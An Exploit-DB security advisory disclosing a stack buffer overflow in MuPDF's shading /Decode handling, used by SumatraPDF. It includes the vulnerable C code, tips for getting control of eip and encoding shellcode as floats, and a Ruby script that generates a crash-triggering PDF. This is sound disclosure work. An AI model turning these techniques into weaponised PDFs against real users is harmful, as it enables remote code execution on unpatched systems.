MuPDF < 20091125231942 - 'pdf_shade4.c' Multiple Stack Buffer Overflows

EDB-ID:

10244




Platform:

Windows

Date:

2009-11-28


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

"MuPDF is a lightweight PDF viewer and toolkit written in portable C".
It is used in particular by SumatraPDF which is a small open-source
PDF viewer for Windows.

MuPDF before commit 20091125231942 did not properly handle /Decode
arrays in a shading of type 4 to 7, leading to a stack-based buffer
overflow. Version 1.0.1 of SumatraPDF integrates this correction and
is no longer vulnerable -- it is recommended to upgrade to this version.
In addition, SumatraPDF 1.1 will have DEP enabled permanently on XP/
Vista/7 (through NtSetInformationProcess), as well as being marked
ASLR-compatible.


   Timeline
   ========

2009-11-23  MuPDF and SumatraPDF contacted
2009-11-25  fix integrated
2009-11-28  SumatraPDF 1.0.1 released


   Details
   =======

The vulnerable code is shown below:

   float c0[FZ_MAXCOLORS];
   float c1[FZ_MAXCOLORS];
...
   obj = fz_dictgets(shading, "Decode");
   if (fz_isarray(obj))
   {
...
       for (i=0; i < fz_arraylen(obj) / 2; ++i) {
           c0[i] = fz_toreal(fz_arrayget(obj, i*2+4));
           c1[i] = fz_toreal(fz_arrayget(obj, i*2+5));
       }
   }

Although SumatraPDF is compiled with /GS, for some reason Visual Studio
2008 failed to flag the vulnerable function. Thus, exploitation is not
particularly difficult, although there are a few tricks:

  * Care must be taken not to overwrite the obj pointer on the stack,
    as it would lead to a crash. Fortunately, the i variable is
    overwritten first, so one can simply increment it to skip obj.

  * The overwritten array handles a bunch of floating point values.
    So all hexadecimal values (such as the overwritten eip) must be
    converted into a floting point value, but not using scientific
    notation because the MuPDf parser cannot handle it.
    For example, 0x33 will be encoded as
    0.000000000000000000000000000000000000000000071

  * All 32-bit chunks of the shellcode need to have a valid floating
    point counterpart: no value must correspond to an IEEE 754 "NaN"
    (not a number). In practice, this can be easily achieved by
    inserting NOPs.

The origami PDF framework (see http://www.security-labs.org/origami/)
may be used to test this vulnerability. The following ruby script creates
a PDF with an oversized /Decode array:

# MuPDF pdf_loadtype4shade() PoC code (crash only)
# authors: Christophe Devine and Guillaume Delugré

$: << "sources/parser"
require 'parser.rb'
include Origami

sploit = [ 1234 ] * 250

shader = Graphics::Pattern::Shading::FreeFormTriangleMesh.new
shader.ColorSpace = Graphics::Color::Space::DEVICE_RGB
shader.BitsPerCoordinate = 24
shader.BitsPerComponent = 16
shader.BitsPerFlag = 8
shader.Decode = sploit

page = Page.new.add_shading(:kikoo, shader)
page.Contents = ContentStream.new
page.Contents.paint_shading(:kikoo)
PDF.new.append_page(page).saveas('toto.pdf')


How to modify this script to successfully exploit the vulnerability
is left as an exercise for the reader ;) Metasploit 3.3 was
used for the creation of the shellcode. This poc will not work with
other versions of SumatraPDF as it uses a jmp esp in the binary.


   Greetz
   ======

#lab, #chaussette, #barbux, hzv, t0ka7a, c+v, al4mbic et pizza_pino